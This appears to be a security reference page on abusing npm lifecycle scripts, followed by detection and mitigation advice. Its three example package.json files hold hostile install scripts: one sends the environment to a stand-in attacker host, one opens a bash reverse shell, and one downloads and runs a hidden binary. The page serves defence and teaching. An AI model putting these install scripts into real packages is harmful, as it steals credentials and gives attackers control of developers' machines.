Lifecycle Script Abuse
Prerequisites
- Ability to publish a package to the npm registry or compromise an existing one
- The target uses npm 11 or earlier, approves the dependency's script under npm 12, or bypasses the npm 12 script policy
Attack Scenarios
Malicious postinstall Script Exfiltrating Credentials
An attacker publishes a package with a postinstall script that collects sensitive environment variables and sends them to an attacker-controlled server. The script runs automatically on npm 11 and earlier unless disabled; on npm 12 it requires approval or a policy bypass.
[1][2][3][4][5][6][7][8]{
"name": "helpful-utility-pkg",
"version": "1.0.0",
"scripts": {
"postinstall": "curl -s https://evil.example.com/collect?data=$(env | base64 -w0)"
}
}
Reverse Shell via preinstall Script
A preinstall script can establish a reverse shell when the dependency's install scripts are permitted. npm 12 blocks an unapproved dependency script by default, while older clients and explicitly approved packages remain exposed.
[1][2][3][4][5][6][7][8]{
"name": "legit-looking-lib",
"version": "2.0.0",
"scripts": {
"preinstall": "node -e \"require('child_process').exec('bash -i >& /dev/tcp/attacker.example.com/4444 0>&1')\""
}
}
Persistence via postinstall Malware Download
A permitted postinstall script can download a compiled binary and add persistence outside the package directory. Historical npm supply-chain incidents used install-time scripts; npm 12's default-deny dependency script policy reduces this path but does not protect older clients or scripts that a user approves.
[1][2][3][4][5][6][7][8]{
"name": "event-handler-utils",
"version": "1.2.3",
"scripts": {
"postinstall": "curl -sL https://evil.example.com/payload -o /tmp/.cache_worker && chmod +x /tmp/.cache_worker && /tmp/.cache_worker &"
}
}
Detection
Inspect Package Contents Before Installing
Use `npm pack --ignore-scripts` to fetch a registry tarball while disabling package.json scripts, then inspect the archived manifest before installation. Plain `npm pack` supports lifecycle scripts, so the flag is material to this inspection workflow.
[1][2][3][4][5][6][7][8]PACKAGE=lodash
VERSION=4.17.21
npm pack --ignore-scripts "$PACKAGE@$VERSION"
tar -xzf *.tgz && cat package/package.json | grep -A 10 '"scripts"'
npm view lodash@4.17.21 scripts --jsonReview npm 12 Script Approvals
On npm 12, list dependencies with unreviewed install scripts and approve only the exact packages and versions that require them. On older npm releases, --ignore-scripts remains the broad control for suppressing package scripts during installation.
[1][2][3][4][5][6][7][8]npm install-scripts ls
npm install --ignore-scripts
Inspect Lifecycle Scripts with Static Analysis
Inspect package manifests and tarballs for lifecycle scripts before installation. `npm audit` reports known vulnerabilities through the configured registry's audit endpoint; it does not generally identify a previously unknown malicious install script.
[1][2][3][4][5][6][7][8]npm view lodash@4.17.21 scripts --jsonMitigation
- Use npm 12's default-deny script policy and commit version-pinned allowScripts approvals only after review
- For npm 11 and earlier, use --ignore-scripts in CI unless a reviewed dependency requires an install script
- Use manifest inspection or a purpose-built package scanner to review lifecycle scripts before installation
- Pin exact dependency versions in package-lock.json and review changes to scripts on version bumps
- Restrict network access during builds to prevent data exfiltration from install scripts
References
Historical Notes
- 30 April, 2026: Updated the overview to remove the outdated preuninstall example and align the page with current npm behavior, where uninstall lifecycle scripts are not implemented in modern npm versions. Source: npm Docs - Scripts (v12).